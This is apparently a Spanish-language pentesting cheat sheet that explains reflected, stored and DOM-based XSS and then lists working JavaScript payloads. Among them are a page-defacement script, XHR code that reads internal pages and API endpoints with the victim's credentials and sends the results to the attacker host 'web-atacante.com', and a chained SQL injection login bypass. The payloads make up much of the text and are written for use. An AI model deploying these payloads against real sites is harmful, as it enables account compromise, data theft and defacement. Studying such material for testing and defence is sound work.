Ocurre cuando la entrada del usuario se muestra en la página después de ser procesada por el servidor (back-end), pero sin ser almacenada.
Se encuentra a menudo donde la entrada del usuario se envía a través de parámetros GET, por ejemplo, una opción de búsqueda que refleje la palabra buscada. Para explotarlo, normalmente se envía un enlace a un usuario con el payload. Dado que el usuario confía en el dominio, posiblemente hará clic en el enlace, el servidor agregará nuestro payload y el navegador del usuario lo ejecutará.
Es posible que los parámetros POST también den como resultado un "reflected server XSS (Non-Persistent)". Sin embargo, no podríamos explotarlo enviado un enlace a un usuario. En su lugar, tendríamos que enviar al usuario a un sitio web que controlamos y tener un formulario que haga un POST automáticamente cuando el usuario ingrese al sitio web.
Stored server XSS (Persistent)
Ocurre cuando la entrada del usuario se almacena en la base de datos (back-end) y luego se muestra al recuperarla. Por ejemplo, publicaciones o comentarios.
Esto hace que este tipo de XSS sea el más crítico, ya que afecta a una audiencia mucho más amplia. Cualquier usuario que visite la página sería víctima de este ataque. Además, es posible que "stored server XSS (Persistent)" no se pueda quitar fácilmente y que sea necesario eliminar el payload de la base de datos (back-end).
Reflected client XSS (Non-Persistent / DOM based)
Ocurre cuando la entrada del usuario se muestra en la página y esta es procesada por completo en el lado del cliente (JavaScript), pero sin ser almacenada.
Se encuentra a menudo donde la entrada del usuario se envía a través de parámetros GET, por ejemplo, una opción de búsqueda que refleje la palabra buscada y que esta sea asignada a un elemento HTML desde JavaScript.
Ocurre cuando la entrada del usuario se almacena en la base de datos (back-end) y esta es procesada por completo en el lado del cliente (JavaScript) cuando se muestra en la página luego de recuperarla. Por ejemplo, publicaciones o comentarios que son obtenidos desde una base de datos y son asignados a elementos HTML desde JavaScript.
Blind XSS
Payloads de identificación general de "blind XSS".
Existen dos tipos de almacenamiento de datos en el navegador disponibles localStorage y sessionStorage, su diferencia radica en el nivel de persistencia de los datos. Al utilizar localStorage los datos se conservan hasta que se eliminen explícitamente, mientras que al utilizar sessionStorage los datos se conservan hasta que se cierre la pestaña. Se puede acceder a los datos de localStorage usando la propiedad window.localStorage, mientras que se puede acceder a sessionStorage con la propiedad window.sessionStorage.
<script> var tagHeader = document.getElementsByTagName('header')[0]; var tagH1 = tagHeader.getElementsByTagName('h1'); for(var i=0; i<tagH1.length; i++) { var tagH1item = tagH1[i];tagH1item.innerHTML='Defacement'; }</script>
Identificación de funcionalidades internas (análisis HTML de la aplicación)
try {var xhr =newXMLHttpRequest();xhr.open("GET","http://<target>/index.php",false);xhr.withCredentials =true;xhr.send();var res =xhr.responseText;} catch (error) {var res = error;} var exfil =newXMLHttpRequest();exfil.open("POST","http://web-atacante.com/",false);exfil.setRequestHeader("Content-Type","application/x-www-form-urlencoded");var data ="exfil="+encodeURIComponent(btoa(res));exfil.send(data);
Enumeración de API internas
var endpoints = ["account","accounts","credentials","creds","customer","customers","member","members","pass","password","passwords","profile","profiles","setting","settings","user","username","users"];for (i in endpoints){try {var xhr =newXMLHttpRequest();xhr.open("GET",`http://<target>/v1/${endpoints[i]}`,false);xhr.send();if (xhr.status !=404) {var exfil =newXMLHttpRequest();exfil.open("GET","http://web-atacante.com/?exfil="+btoa(endpoints[i]),false);exfil.send(); } } catch { }}
SQL injection en login interno
try {var xhr =newXMLHttpRequest();xhr.open("POST","http://<target>/login.php",false);xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");var data =`username=${encodeURIComponent("' OR '1'='1' -- -")}&password=x`;xhr.send(data);var res =xhr.responseText;} catch (error) {var res = error;} var exfil =newXMLHttpRequest();exfil.open("POST","http://web-atacante.com/",false);exfil.setRequestHeader("Content-Type","application/x-www-form-urlencoded");var data ="exfil="+encodeURIComponent(btoa(res));exfil.send(data);